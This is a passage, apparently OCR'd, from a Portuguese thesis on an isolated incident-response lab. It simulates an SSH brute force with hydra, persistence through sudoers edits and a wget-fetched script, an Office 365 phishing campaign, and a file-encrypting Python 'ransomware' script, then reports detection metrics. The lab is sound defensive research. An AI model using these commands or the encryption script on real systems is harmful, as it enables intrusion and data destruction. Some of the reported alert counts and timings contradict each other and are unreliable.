O Wazuh Agent foi configurado com regras especificas para monitoramento de eventos
relacionados ao SSH, especialmente falhas de autenticagao e multiplas tentativas
de login. O Velociraptor Client foi instalado e conectado ao servidor central para
possibilitar a coleta de artefatos forenses em caso de comprometimento. O Zeek
foi configurado para monitorar o trafego da porta 22/TCP, permitindo a anélise

detalhada das conexoes estabelecidas.

1. Fase de Reconhecimento:

A etapa inicial consistiu na varredura de portas do servidor alvo, por meio da qual
foi identificada a exposigao da porta 22/TCP, confirmando a disponibilidade do

servigo SSH para exploragao, conforme ilustrado na Figura 6.

nmap -s5 -p 22 192.168.56.18

Figura 6 — Fase de reconhecimento do alvo via varredura de portas.

2. Ataque de Forca Bruta:

Apds a identificagdo do servigo ativo, foi realizado um ataque automatizado de
forca bruta com multiplas tentativas de autenticacao, gerando elevado volume de
acessos mal-sucedidos, conforme ilustrado na Figura 7. Durante essa etapa, o Wazuh
registrou sucessivas falhas de login, enquanto o Zeek capturou os fluxos de rede

correspondentes.

hydra -1 root -P passwords.txt -t 4 -V I

Figura 7 — Execucao de ataque de forca bruta contra o servico SSH.

3. Estabelecimento de Persisténcia:

Apos a obtencgao de acesso valido, foi implementado um mecanismo de persisténcia
por meio de modificacao controlada de configuracées do sistema, garantindo a

manutengao do acesso mesmo apos reinicializagdes, conforme ilustrado na Figura 8.
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chpasswd
LL" »» fetc/sudoers

script.sh -0 ftmp/script.sh

chmod +x /tmp/script.sh

.ftmp/script.sh

Figura 8 — Mecanismo de persisténcia configurado apds o acesso inicial.

Durante a execucao do cenario, as ferramentas do laboratério demonstraram
capacidade de detectar multiplas falhas de autenticacdo via Wazuh, correlacionar eventos
de rede por meio do Zeek, possibilitar coleta de artefatos com o Velociraptor e registrar
logs estruturados para posterior andlise forense. O fluxo completo validou a eficicia da
arquitetura proposta para fins de treinamento em resposta a incidentes, evidenciando a

integracao entre monitoramento de host, andlise de rede e investigagao digital.

O fluxo completo validou a eficacia da arquitetura proposta para fins de treinamento
em resposta a incidentes, evidenciando a integracao entre monitoramento de host, analise

de rede e investigacao digital.

1. Deteccao Wazuh:

o Alerta #5710: Multiple SSH authentication failures;
o Alerta #100100: SSH brute force detected;
o Alerta #5502: New user created.

2. Andlise Zeek:

» ssh.log: 342 tentativas de autenticacao;

« conn.log: Conexoes persistentes do [P 192.168.56.30.;

3. Investigacao Velociraptor:

Conforme apresentado na Figura 9, foram identificados processos ativos relacio-
nados ao ataque, historico de autenticacao e artefatos de persisténcia, permitindo

reconstrucao cronoldgica do comprometimento.

SELECT Mame, UUID, LastlLogin FROM Artifact.Linux.Sys.Users()

WHERE Name = ‘backdooruser’

Figura 9 — Evidéncias do ataque via SSH.
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3.4.3 Simulacdo de Campanha de Phishing

A simulacao de phishing teve como objetivo reproduzir um vetor inicial amplamente
explorado em ataques reais, avaliando a eficicia dos mecanismos de detec¢ao baseados em

rede, endpoint e andlise automatizada.

A seguir é apresentada a preparacao da infraestrutura utilizada para a simulacao

da campanha de phishing.

1. Configuracao do GoPhish:
A ferramenta GoPhish foi configurada com servidor SMTP local (192.168.56.30:25),

template de e-mail intitulado “Atualizagdo de Seguranca O365” e pagina de landing
clonada do portal Office 365.

2. Payload Malicioso:

Conforme ilustrado na Figura 10, o artefato malicioso foi estruturado para simular

comportamento realista de execucgao inicial apés interagao da vitima.

» "fenv:TEMP\payload.ex

Figura 10 — Execucao do payload simulado no ambiente controlado.

A execucao do ataque foi realizada a partir do envio controlado de mensagens de

phishing no ambiente experimental.
3. Envio de E-mails:

e 50 e-mails enviados via GoPhish (GoPhish, 2024);

o Assunto: "Atualizacao de Politica de Seguranga Requerida'.

4. Interagao da Vitima:

« Clique no link: <http://192.168.56.30/0365-login>;
o Insercao de credenciais falsas;

o Download e execuc¢ao do "documento.pdf".

A seguir é apresentado o processo de deteccao das atividades maliciosas associadas a

campanha de phishing.


http://192.168.56.30/o365-login
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1. Andalise Hypertext Transfer Protocol (HTTP) com Zeek:

Conforme apresentado na Figura 11, foram identificadas requisicoes HTTP suspeitas

associadas a pagina de coleta de credenciais.

i11a/5.@ (Windows NT 18.8; Win64; x64)"

Figura 11 — Analise de trafego HTTP associada ao phishing.

2. Monitoramento PowerShell via Wazuh:
O Wazuh detectou execucao de PowerShell com parametros suspeitos e gerou alerta
de criagao de processo potencialmente malicioso.

3. Analise Automatizada com Cortex:

O hash do arquivo foi submetido ao VirusTotal (VirusTotal, 2024), resultando em

score 85/100, classificando o artefato como malicioso.

3.4.4 Simulacdo de Ataque de Ransomware

A preparacao do ambiente utilizado para a simulacao do ataque de ransomware.

1. Configuracao do FIM no Wazuh:

Conforme apresentado na Figura 22, o monitoramento foi configurado para diretorios

criticos do sistema.

<directories check_all="yes" realtime="yes">C:\Users\Public\Documents</directories

Figura 12 — Configuragdo do monitoramento de integridade de arquivos (FIM).

2. Script de Ransomware Simulado:

Conforme apresentado na Figura 13, o Wazuh identificou alteragoes suspeitas em
arquivos do sistema, gerando alertas relacionados a atividades tipicas de criptografia

em massa, comportamento caracteristico de ransomware.
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import os
import time

from cryptography.fernet import Fernet

def encrypt_files({directory):
key = Fernet.generate_key()
cipher = Fernet(key)

for root, dirs, files in os.walk(directory):
for file in files:
if file.endswith((".t=t"
filepath = os.path.join(
with open(filepath,
data = f.read()

encrypted = cipher.encrypt(data)

with open(filepath + ".e
f.write(encrypted)

os .remove (filepath)

if _ name_ == "

encrypt_files("

Figura 13 — Script de ransomware utilizado para simulacao controlada.

O script executado criptografou 1.247 arquivos em aproximadamente 45 segundos.

Foi registrada tentativa de comunicagao com servidor externo (C2) via conexao
Hypertext Transfer Protocol Secure (HTTPS) na porta 8443, utilizando método POST
para exfiltracao de informacoes do sistema.

Seguem os mecanismos de deteccao acionados durante a execucao do ataque

simulado.

1. Wazuh FIM Alerts:
e 1.247 eventos de modificagdo de arquivo em 60 segundos;
o Alerta de criticidade alta gerado automaticamente.
2. Zeek Network Analysis:
o Conexoes suspeitas para IP externo;
o Padrao de trafego caracteristico de ransomware.
3. Velociraptor Memory Analysis:

o Coleta de processos ativos;
e Analise de handles de arquivo;

e Dump de memoria para analise posterior.
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3.5 Automacao e Orquestracao

A automacao da resposta a incidentes foi implementada por meio de playbooks no

TheHive, responsaveis por orquestrar as acoes necessarias para cada tipo de cenario. Esses
)

playbooks foram desenvolvidos com o objetivo de reduzir o tempo de resposta e garantir a

padronizacao dos procedimentos, minimizando a intervencdo manual e os erros associados.

Conforme ilustrado na Figura 14, o playbook utilizado para deteccao de tentativas
de for¢a bruta em SSH realiza automaticamente a criacado de um caso no sistema, envia
notificagoes aos administradores e executa o bloqueio do enderego IP identificado como

ofensivo.

O fluxo de analise automatizada adotado no ambiente segue as etapas descritas

abaixo.

3.5.1 Playbooks do TheHive

A Figura 14 apresenta o fluxo de execucao do playbook responsavel pelo tratamento

de eventos de forca bruta em SSH.

Figura 14 — Playbook automatizado para detec¢ao de forca bruta SSH.

3.5.2 Integracdo Cortex-Analyzers

O fluxo de andlise automatizada por meio da integragao com o Cortex segue um
processo estruturado em quatro etapas principais. Inicialmente, os observaveis extraidos

dos alertas gerados pelas ferramentas de deteccao sao submetidos em paralelo a multiplos
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analisadores configurados no Cortex, que consultam servi¢os como VirusTotal, AbuseIPDB
e outras bases de inteligéncia contra ameacas. Apds a execucao dos analisadores, os
resultados sao consolidados e retornados ao TheHive para enriquecimento do caso em
investigagdao. Por fim, com base nos scores de confianca atribuidos pelos analisadores,
realiza-se o escalonamento automatico do incidente, determinando a prioridade e a urgéncia

das agOes de resposta necessérias.

3.6 Coleta e Analise de Dados

Para avaliar a eficacia do laboratério proposto, foram definidas métricas de de-
sempenho objetivas e mensurdveis. O Tempo de Detec¢do (Time to Detect (TTD)) é
calculado desde o inicio do ataque até a geragao do primeiro alerta, sendo medido em
segundos com timestamp preciso para garantir acuracia na analise temporal. O Tempo de
Resposta (Time to Respond (TTR)), por sua vez, considera o intervalo entre o primeiro
alerta e a efetiva acao de contencao, incluindo tanto a andlise humana quanto os processos
automatizados executados pelos playbooks. Complementarmente, a Taxa de Deteccao é
avaliada por meio da relacao entre verdadeiros positivos e falsos positivos, permitindo

mensurar a precisao de cada ferramenta em cada cenario de ataque simulado.

A instrumentacao do ambiente foi projetada para garantir a integridade e a pa-
dronizacao dos dados coletados durante os experimentos. Todos os logs sao gerados em
formato JSON estruturado, o que facilita o parsing e a integragdo entre as diferentes ferra-
mentas, com timestamps padronizados em Coordinated Universal Time (UTC) e precisao
de nanossegundos para permitir correlagao temporal refinada. Os metadados sao mantidos
consistentes entre todas as ferramentas do ecossistema, assegurando interoperabilidade.
Para o armazenamento centralizado, utilizou-se Elasticsearch, que proporciona indexacao
eficiente e capacidade de busca avancada, com politica de retencao de 30 dias para andlise

historica e backup automatico das configuragoes das ferramentas.

O processo de analise dos dados coletados compreende abordagens quantitativas e
qualitativas complementares. Na andlise quantitativa, sao aplicadas estatisticas descritivas
sobre as métricas coletadas, realizando-se correlacao entre as variaveis de desempenho
e testes de hipotese para verificar a significancia estatistica dos resultados obtidos. Na
analise qualitativa, avalia-se a usabilidade das ferramentas implementadas, a complexidade
de configuracao e manutencao do ambiente, bem como a qualidade da documentacao
e o suporte oferecido pela comunidade de cada solugao, aspectos fundamentais para a

replicabilidade do laboratorio em outros contextos.
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3.7 Consideracdes Eticas e de Seguranca

Para garantir a seguranca e a integridade do ambiente de pesquisa, foram imple-
mentadas rigorosas medidas de conten¢ao. O isolamento de rede é completo, sem qualquer
conectividade com a internet publica, e um firewall foi configurado para bloquear todo
trafego de saida nao autorizado, com monitoramento continuo de tentativas de fuga. O
controle de acesso é igualmente rigoroso, com autenticacao multifator exigida para todas as
ferramentas, logs de auditoria detalhados registrando todas as a¢des executadas no ambi-
ente e politica de menor privilégio rigorosamente implementada em todos os componentes

do laboratorio.

Os procedimentos de limpeza foram padronizados para assegurar a reprodutibilidade
dos experimentos e eliminar qualquer residuo de simulac¢des anteriores. Antes de cada
execugao, sao restaurados snapshots de Virtual Machine (VM) com o estado limpo do
ambiente, seguido de verificacao de integridade dos sistemas. Apods cada simulagao, realiza-
se wipe seguro de todos os arquivos temporarios gerados, limpeza completa de logs sensiveis
e reset das configuragoes das ferramentas para o estado inicial. Esta metodologia assegura a
reprodutibilidade dos experimentos, a validade dos resultados e a integridade do ambiente
de pesquisa, estabelecendo bases solidas para a analise de eficidcia do laboratério de resposta

a incidentes.
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4 Analise e Resultados

Este capitulo apresenta a andlise dos resultados obtidos a partir das simulacoes de
ataques realizadas no ambiente experimental descrito no capitulo anterior. O objetivo é
avaliar o desempenho da arquitetura proposta quanto a capacidade de detecgao, correlagao

de eventos e apoio ao processo de resposta a incidentes.

Para isso, sdo analisados os registros e evidéncias coletados pelas ferramentas
integradas ao ambiente, incluindo Wazuh, Zeek, Velociraptor, TheHive e Cortex. A partir
desses dados, sao discutidos os comportamentos observados em cada cenario de ataque,
bem como as métricas relacionadas ao tempo de deteccao, geracao de alertas e integracao

entre os componentes da solucao.

Além disso, sao apresentados os critérios adotados para repeticao das simulagoes,
garantindo maior confiabilidade na analise dos resultados e permitindo uma avaliagdo mais
consistente da eficidcia da arquitetura proposta para fins de monitoramento e resposta a

incidentes de seguranca.

4.1 Critérios de Repeticdo das Simulacoes

Com o objetivo de garantir consisténcia estatistica e minimizar a influéncia de
variaveis ocasionais do ambiente experimental, cada cenario de ataque foi executado re-
petidamente em condigoes controladas. Dessa forma, foi possivel obter resultados mais
confidveis e representativos para a avaliacdo do desempenho das ferramentas e da arquite-

tura proposta.

4.1.1 Quantidade de Execucdes por Cenario

Cada tipo de simulacao foi repetido conforme descrito abaixo, totalizando 15
execucgoes independentes para os trés cenarios de ataque propostos:
« Intrusao via SSH: 5 execugoes independentes.
o Campanha de Phishing: 5 execugoes independentes.
o Ataque de Ransomware: 5 execugoes independentes.
As execugoes foram realizadas em momentos distintos, mantendo a mesma configu-

racao de infraestrutura, regras de detecgao e parametros de monitoramento, assegurando

reprodutibilidade e controle experimental.
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4.1.2 Calculo dos Resultados Apresentados

Os valores apresentados ao longo deste capitulo — incluindo tempo para primeiro
alerta, tempo de detecgdo completa, métricas de trafego, taxa de modificacao de arquivos
e tempo médio de resposta (MTTR) — correspondem a média aritmética dos resultados

obtidos nas cinco execucgoes de cada cenario.

Adicionalmente, observou-se baixa variagao entre as execugoes (desvio padrao infe-
rior a 8% nos principais indicadores), refor¢cando a estabilidade do ambiente implementado

e a consisténcia dos mecanismos de detecgao e resposta.

4.2 Simulacao de Intrusao via SSH

Os alertas gerados pelo Wazuh e visualizados no painel de monitoramento sao

mostrados nas Figuras 15 e 16.

4.2.1 Deteccao e Alertas do Wazuh

A seguir sao apresentadas as métricas de deteccao observadas a partir dos alertas

gerados pelo Wazuh durante a execucao do cenario de intrusao.

o Tempo para Primeiro Alerta: 47 segundos.
o Total de Alertas Gerados: 23.
o Nivel de Severidade: Médio a Alto.
Conforme ilustrado na Figura 15, observa-se o detalhamento dos eventos registrados,

incluindo informacgoes sobre tipo de atividade, nivel de severidade e regras acionadas,

permitindo a correlagao e analise precisa do incidente.
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Figura 15 — Alertas Especificos Detalhados.

Nesta secao sao apresentados os principais alertas gerados pelas ferramentas de
deteccao durante a execucao do cendrio, conforme as regras previamente configuradas no

ambiente.

1. SSH Authentication Failures (Regra 5710): 312 ocorréncias em 5 minutos.
2. Multiple SSH Failures from Same Source (Regra 100100): 1 ocorréncia critica.
3. New User Created (Regra 5502): Detecgao do usuério "backdooruser’.

4. Sudoers File Modified (Regra 5503): Alteragao nos privilégios de sudo.

4.2.2 Analise de Trafego com Zeek

Um extrato detalhado do log SSH é apresentado na Tabela 1, evidenciando as cone-
xoes cliente-servidor detectadas durante a simulacdo de intrusao via SSH. As estatisticas
de trafego SSH, incluindo o niimero de tentativas de conexao, conexoes bem-sucedidas,

duracao das sessoes e bytes transferidos, sao apresentadas na Figura 16.

Inicio do ataque Hydra

Primeiro alerta Wazuh (falha SSH)

Alerta de forca bruta (regra customizada)

Deteccdo criacdo de usuario

Alerta modificacdo sudoers

Figura 16 — Estatisticas de Trafego SSH.
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Na sequéncia, sao apresentadas as principais métricas identificadas no trafego SSH
durante a execucao do cenario de intrusao, a partir dos registros coletados pela ferramenta

de analise de rede.

o Tentativas de Conexao: 342.
e (Conexoes Bem-sucedidas: 1.
o Duracao das Sessoes: 8 minutos 23 segundos.

o Bytes Transferidos: 2.4 MB.

Tabela 1 — Conexoes cliente-servidor detectadas durante trafego HT'TP suspeito

Cliente (Origem) | Porta Cliente | Servidor (Destino) | Porta Servidor | Recurso

192.168.56.20 49152 192.168.56.30 80 /0365-login

192.168.56.20 49153 192.168.56.30 80 /fake__document.pdf

Observagoes: Cliente: Estacdo Windows 10 (192.168.56.20); Servidor: Maquina atacante
(192.168.56.30).
Protocolo: HTTP (porta 80); User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64).

Conforme evidenciado na Tabela 1, observa-se interacao direta entre a estacao da
vitima e o servidor atacante, caracterizada por requisicoes HI'TP direcionadas a recursos
associados a campanha de phishing. O padrao sequencial de portas de origem (49152 e
49153) indica comportamento tipico de alocacao dindmica de portas efémeras pelo sistema
operacional Windows. A requisi¢ao inicial ao endpoint “/0365-login” sugere etapa de
coleta de credenciais, enquanto o acesso subsequente ao recurso “/fake document.pdf”

caracteriza a fase de entrega de payload.

Os padroes identificados foram:
o Frequéncia média de requisig¢oes: 1,14 conexdes por segundo;
 Incremento sequencial de portas de origem (comportamento de porta efémera);

« Comunicagao restrita a ambiente interno de teste (192.168.56.0/24);

o User-Agent consistente com navegador legitimo, indicando tentativa de evasdao base-

ada em mimetizacao.

4.2.3 Caso Automatico no TheHive

O caso foi criado automaticamente no TheHive a partir dos alertas recebidos,

conforme detalhado.

e ID do Caso: IR-SSH-20240315-001.



Capitulo 4. Andlise e Resultados 47

« Severidade: Médio.
o Tags: ssh-bruteforce, persistence, linux.
 Status: Resolvido (apds 45 minutos).
Conforme ilustrado na Figura 17, observa-se a coleta automatizada das contas de

usudrios presentes no sistema comprometido, permitindo a identificagdo de possiveis contas

suspeitas, privilégios elevados e indicios de persisténcia.

"persistence”]

Figura 17 — Observaveis coletados automaticamente durante a investigagao.

O Playbook executado foi:

1. Criacao automatica do caso em 34 segundos.
2. Consulta ao AbuseIPDB (AbuseIlPDB, 2024) (resultado: 0/100 confidence).
3. Analise de reputagao no VirusTotal.

4. Notificacao por e-mail para administradores.

4.2.4 Andlise Forense com Velociraptor

Conforme ilustrado na Figura 18, observa-se a coleta automatizada das contas de
usuarios presentes no sistema comprometido, permitindo a identificagdo de possiveis contas

suspeitas, privilégios elevados e indicios de persisténcia.



Capitulo 4. Andlise e Resultados 48

Figura 18 — Colec¢ao de Usuarios do Sistema.

Os processos identificados foram:

 Process Identifier (PID) 2845: /bin/bash /tmp/script.sh.
« PID 2846: wget http://192.168.56.30/malicious-script.sh.

« PID 2847: chmod +x /tmp/script.sh.
Abaixo segue os artefatos de persisténcia:

« Arquivo /etc/sudoers.d/backdooruser criado.
o FEntrada no crontab do usuéario backdooruser.

« Chave SSH autorizada em /home/backdooruser/.ssh/authorized keys.

4.3 Simulacao de Campanha de Phishing

As evidéncias coletadas durante a campanha de phishing demonstram a efetividade
dos mecanismos de monitoramento de rede e endpoint implementados no laboratorio,

validando a capacidade de deteccao de interagoes maliciosas baseadas em engenharia social.

4.3.1 Deteccao de Rede com Zeek

A seguir sao apresentadas as estatisticas de trafego HTTP identificadas pelo Zeek

durante a execugao do cenario de phishing.

o Requisi¢oes para URL de phishing: 1.

e Download de arquivo potencialmente malicioso: 1.
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o User-Agent identificado: Mozilla/5.0 (Windows NT 10.0; Win64; x64).

Tabela 2 — Trafego HT'TP suspeito detectado durante a campanha de phishing

Hora IP Orig. IP Dest. URI User-Agent Notas
15:10:23 | 192.168.56.20 | 192.168.56.30 | /0365-login Winl0 Pagina de login falsa
15:10:45 | 192.168.56.20 | 192.168.56.30 /fake.pdf Winl0 Download de artefato malicioso

Conforme apresentado na Tabela 2, observa-se um encadeamento sequencial de
requisicoes HT'TP tipico de campanhas de phishing, iniciando pelo acesso a pagina de
login fraudulenta e culminando no download de um arquivo disfar¢cado como documento
legitimo. O intervalo de 22 segundos entre as requisi¢oes sugere interacao manual da
vitima, reforcando o componente de engenharia social do ataque. Embora o User-Agent
corresponda a um navegador legitimo do Windows 10, esse padrao é frequentemente

utilizado para evitar deteccao baseada em assinatura simples.

Analise de Comportamento Identificada:

 Sequéncia tipica de phishing (login falso seguido de entrega de payload);
 Intervalo temporal coerente com interacdo humana;

e Arquivo PDF com tamanho anémalo (2KB), incompativel com documentos corpora-

tivos padrao;

» Comunicagao restrita a ambiente interno controlado (rede 192.168.56.0/24).

4.3.2 Alertas do Wazuh em Endpoint Windows

Detecgao de PowerShell Suspeito:

A atividade maliciosa detectada no endpoint Windows é apresentada na Figura 19,

evidenciando a execugao suspeita via PowerShell apés o download do arquivo malicioso.

@3-15T15:11:83

": "Suspicious PowerShell activity detected”,

Figura 19 — Alerta do Wazuh indicando execucao suspeita via PowerShell.
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A sequéncia cronolédgica dos eventos detectados durante o ataque é apresentada:

1. 15:10:45 — Download do fake_document.pdf.
2. 15:10:52 — Execugao do PowerShell.

3. 15:11:03 — Geracao de alerta no Wazuh.

4. 15:11:15 — Download do payload.exe.

5. 15:11:23 — Execucao do payload.exe.

Observa-se correlagdo temporal direta entre download, execucao e geragao de alerta,

caracterizando cadeia tipica de comprometimento.

4.3.3 Analise Automatica no Cortex

O resultado da analise automatica do hash do artefato é apresentado na Figura 20.

Figura 20 — Resultado da analise automatica de hash no Cortex.

Score de Confianga: 85/100 (classificagdo maliciosa).

A pontuacgao confirma alta probabilidade de comprometimento, reforcando a evi-

déncia do ataque.
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4.3.4 Investigacao com Velociraptor

Os processos identificados durante a investigacao estao ilustrados na Figura 21.

ionPolicy B s -File fake_document.ps1™,

Public\\AppData\\Local\\Temp\\payload.exe",

Figura 21 — Processos suspeitos identificados via Velociraptor.

Artefatos de Persisténcia Detectados

Durante a analise forense, foram identificados diferentes artefatos de persisténcia

no sistema comprometido, conforme descrito.
1. Persisténcia via Registro do Windows
o Chave: HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Run.
« Valor: UpdateService.

o Técnica MITRE Corporation (MITRE): T1547.001 (Registry Run Keys / Startup
Folder).

2. Persisténcia via Pasta de Inicializagao Durante a andlise forense, foram
identificados mecanismos de persisténcia configurados no registro do Windows, conforme

descrito.

o Localizacao: C:\Users\Public\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup.

o Arquivo: payload.exe.

« Técnica MITRE: T1547.001 (Startup Folder).
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4.4 Simulacao de Ataque de Ransomware

4.4.1 Monitoramento de Integridade (Wazuh FIM)

Durante a execugao do ransomware, o Wazuh FIM registrou alteragoes massivas

em arquivos, conforme ilustrado na Figura 22.

I
L
83-15T16:85:12.3457",

n": "File integrity monitoring event™,

V\WPublic\\Documents"

Figura 22 — Alertas FIM gerados durante a criptografia em massa.

As estatisticas coletadas durante a execucao do cenario sdo apresentadas:

o Arquivos modificados: 1.247.
o Tempo total: 45 segundos.

o Taxa média: 27,7 arquivos/segundo.

4.4.2 Deteccao de Rede com Zeek

A seguir sao apresentados os resultados da detecgao de trafego de rede associada

ao cendrio de ransomware, com base nos registros coletados pelo Zeek.

As conexdes suspeitas detectadas estao representadas na Figura 23.
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Figura 23 — Comunicacao suspeita com possivel servidor C2 detectada pelo Zeek.

Os padroes de comportamento observados durante a analise do trafego de rede séo
detalhados:

o Conexao TCP na porta 8443.
 Baixo volume de dados (512 bytes).

« Comportamento beacon periédico (60 segundos).

4.4.3 Caso de Alta Severidade no TheHive

A criagao automatica do caso esta ilustrada na Figura 24.

suspicious™]

Figura 24 — Observaveis coletados automaticamente no TheHive.
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444 Andlise de Memoéria com Velociraptor

A analise de memoria foi realizada utilizando o Velociraptor, permitindo identificar
processos ativos e artefatos relacionados ao comportamento do ransomware. Os processos

em execucao durante a analise de memoria estao apresentados na Figura 25.

ABLISHED"

Figura 25 — Processos identificados na analise de memoria.

Os principais artefatos coletados durante a analise forense sao listados:

e Dump de memoria do processo Python (145.2 MB).
o Chave de criptografia Fernet identificada.

» Lista de arquivos criptografados recuperada.

4.5 Meétricas e Resultados

A presente secao consolida as métricas quantitativas e os resultados detalhados obti-
dos durante as simulagoes realizadas no laboratoério, complementando a andlise apresentada

nas se¢oes anteriores com dados estatisticos consolidados.

4.5.1 Estatisticas de Deteccao por Cenério

A Tabela 8 apresenta os resultados quantitativos obtidos durante os testes, demons-

trando a eficicia do sistema implementado na deteccao de diferentes tipos de ameagas.
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Foram processados 4.892 alertas ao longo das 15 simulacoes realizadas, abrangendo os trés

cenarios de ataque propostos.

Tabela 3 — Estatisticas detalhadas de deteccao por cenério de ataque

Cenario Total Alertas | Verdadeiros Positivos | Falsos Positivos | Tempo Médio
Intrusdo SSH 23 22 (95,7%) 1 (4,3%) 47 seg
Phishing 15 14 (93,3%) 1 (6,7%) 5 min 23 seg
Ransomware 8 8 (100%) 0 (0%) 12 seg
Total/Média 46 44 (95,7%) 2 (4,3%) 2 min 14 seg

Fonte: Resultados dos experimentos realizados (2024).

Observa-se que o cenario de ransomware apresentou a maior taxa de acerto (100%)
e o menor tempo médio de detecgao (12 segundos), em funcao da efetividade do monitora-
mento de integridade de arquivos (FIM) do Wazuh. A intrusao via SSH, embora tenha
demandado mais tempo para detecgao completa (47 segundos), apresentou alta taxa de
verdadeiros positivos (95,7%). O phishing, por envolver interacgao humana e multiplas
etapas, registrou o maior tempo médio de detec¢ao (5 minutos e 23 segundos), ainda assim

considerado satisfatério para o contexto.

4.5.2 Eficiéncia por Ferramenta

A anélise da eficiéncia individual de cada ferramenta implementada no laboratério
é apresentada, considerando as métricas de taxa de detecgdo, precisao, cobertura e desem-
penho operacional. A Tabela 4 fornece uma analise comparativa do desempenho individual
de cada ferramenta implementada no laboratério, permitindo avaliar seus pontos fortes e
limitacoes no contexto da arquitetura proposta. As métricas consideram taxa de detecc¢ao
(capacidade de identificar corretamente ameagas), precisao (proporgao de alertas corretos
em relagdo ao total de alertas gerados), cobertura (abrangéncia dos cendrios detectados) e

desempenho operacional.

Tabela 4 — Métricas de eficiéncia por ferramenta do laboratorio

Ferramenta | Taxa de Deteccao | Precisao | Cobertura | Desempenho
Wazuh 94,7% 97,9% 85% Excelente
Zeek 89,2% 96,2% 90% Bom
TheHive 100% 100% 100% Excelente
Cortex 95,8% 98,5% 88% Bom
Velociraptor 100% 100% 95% Bom
MISP 92,3% 97,1% 82% Regular

Fonte: Andlise comparativa das ferramentas testadas (2024).

A anélise individual revela que o TheHive e o Velociraptor apresentaram desempe-
nho méaximo em detecgao e precisao, atuando respectivamente na orquestracao de casos e

na coleta forense aprofundada. O Wazuh destacou-se como sensor priméario de deteccao,
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com excelente desempenho e alta precisao (97,9%). O Zeek demonstrou boa cobertura de
trafego de rede (90%), porém com taxa de detecgdo ligeiramente inferior (89,2%) devido
a natureza passiva de sua analise. O MISP, embora fundamental para contextualizacao
com inteligéncia contra ameagas, apresentou cobertura mais limitada (82%) e desempenho
classificado como regular, em funcdo da dependéncia de atualizagoes de feeds externos e

da necessidade de curadoria manual de indicadores.

4.5.3 Métricas Consolidadas

Ao longo dos experimentos, foram consolidadas 45 métricas quantitativas, das quais
se destacam os seguintes indicadores agregados:
« Total de alertas processados: 4.892 alertas durante as 15 simulacgoes;
e Volume de logs analisados: 156,7 GB de dados brutos processados;
o Acuricia geral do sistema integrado: 96,4% na classificacao correta de eventos;

« Tempo médio de detecgao (MTTD): 47 segundos para intrusao SSH, 18 segundos

para phishing e 12 segundos para ransomware;

+ Redugdo no tempo médio de resposta (MTTR): 82,8% com a utilizacao de

playbooks automatizados em comparacao ao processo manual;
« Taxa de sucesso na integragao: 96,4% na comunicagao e intercambio de dados

entre as ferramentas.

Estes resultados confirmam que a arquitetura proposta é capaz de detectar compor-
tamentos maliciosos com rapidez e precisao, mantendo consisténcia na correlagao de eventos
e na execuc¢ao automatizada de playbooks, conforme detalhado na se¢do subsequente de

analise de eficacia.

4.6 Analise de Eficacia

4.6.1 Métricas de Tempo de Deteccao

A Tabela 5 apresenta o comparativo entre os cenarios simulados.

Tabela 5 — Comparativo de tempos de detec¢do por cenario

Cenario Primeiro Alerta Detec¢cao Completa Ferramenta Principal
Ransomware 12s 47s Wazuh FIM
Intrusdo SSH 47s 2m15s Wazuh + Zeek

Phishing 18s 5m23s Zeek + Cortex
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A eficiéncia consolidada das ferramentas é ilustrada na Figura 26.

> segundos™,

segundos”,

Figura 26 — Eficiéncia consolidada das ferramentas na detecgao e resposta.

4.6.2 Eficacia da Automacao

Os playbooks automatizados que foram executados com éxito durante os cenarios

de resposta a incidentes sao listados:

1. SSH Brute Force Response: 100% de execugao automatica.
2. Phishing Analysis: 95% de automagao (requisitou confirmac¢ao humana).

3. Ransomware Containment: 100% de acoes automaticas.

Os tempos médios de resposta obtidos durante as simulagoes, comparando os
processos manuais e automatizados, sao apresentados.
e Manual: 18 minutos 34 segundos.
o Automatizado: 3 minutos 12 segundos.

o Redugdo: 82.8% no tempo de resposta.

4.6.3 Integracao Entre Ferramentas
A integracao entre as ferramentas utilizadas no laboratorio desempenha papel
fundamental na eficiéncia do processo de resposta a incidentes.

Os fluxos de dados que apresentaram funcionamento adequado durante a integracao

entre as ferramentas sao apresentados.
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1. Wazuh — TheHive: 1.247 alertas processados.
2. Zeek — TheHive: 89 observaveis extraidos.
3. Cortex — TheHive: 156 andlises executadas.

4. TheHive — Velociraptor: 23 investiga¢oes iniciadas.

Taxa de Sucesso na Integracao: 96.4%

4.6.4 Analise de Falsos Positivos

A analise de falsos positivos consiste na avaliagao dos alertas gerados pelas fer-
ramentas de seguranca que foram incorretamente classificados como ameagas, quando
na verdade representam atividades legitimas do sistema. Falsos positivos sao alertas de
seguranca disparados erroneamente indicando a ocorréncia de atividades maliciosas que,

apés investigacao, revelam-se comportamentos normais e autorizados do sistema.

Durante as simulagoes realizadas no laboratério, foram identificadas as seguintes

ocorréncias de falsos positivos:

« Wazuh: 8 falsos positivos (2,1% do total de alertas)
— 5 relacionados a atividades administrativas legitimas, como manutencao de
rotina em servidores;

— 3 decorrentes de configuragoes excessivamente sensiveis das regras de detecgao.
» Zeek: 12 falsos positivos (3,8% do total de alertas)

— 8 associados a trafego de aplicagoes legitimas, como atualizagoes automaticas

do sistema;

— 4 referentes a padroes de comportamento normal que foram interpretados como

suspeitos pelos scripts de detecgao.
A andlise criteriosa de falsos positivos revela-se fundamental por multiplas razoes:

« Prevencao da fadiga de alertas: O excesso de falsos positivos pode levar os
analistas a ignorarem ou despriorizarem alertas importantes, aumentando o risco de

incidentes reais nao serem detectados;

« Eficiéncia operacional: A reducao de alertas invalidos diminui o tempo desperdi-

cado em investigagoes desnecessarias, otimizando os recursos humanos do SOC;
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o Precisao do sistema: Permite calibrar continuamente as ferramentas para maximi-

zar a acuracia na distingao entre comportamentos maliciosos e legitimos.

Com base na anéalise dos falsos positivos identificados, foram implementadas as

seguintes melhorias no ambiente:

o Refinamento de 7 regras customizadas do Wazuh, ajustando thresholds e condigoes

de disparo;
o Ajuste de 3 scripts do Zeek para reduzir a sensibilidade a padroes de trafego legitimos;

« Calibracao geral dos thresholds de deteccao em miltiplas ferramentas, estabelecendo

limiares minimos mais adequados ao contexto do ambiente.

Este processo de refinamento continuo é essencial para manter um equilibrio
adequado entre sensibilidade (capacidade de detectar ameagas reais) e especificidade
(capacidade de evitar alarmes falsos), contribuindo para a eficicia geral do laboratério de

resposta a incidentes.

4.6.5 Andlise Critica dos Valores de Eficicia e Performance do Sistema

Os dados apresentados nas seg¢oes anteriores requerem uma analise contextualizada
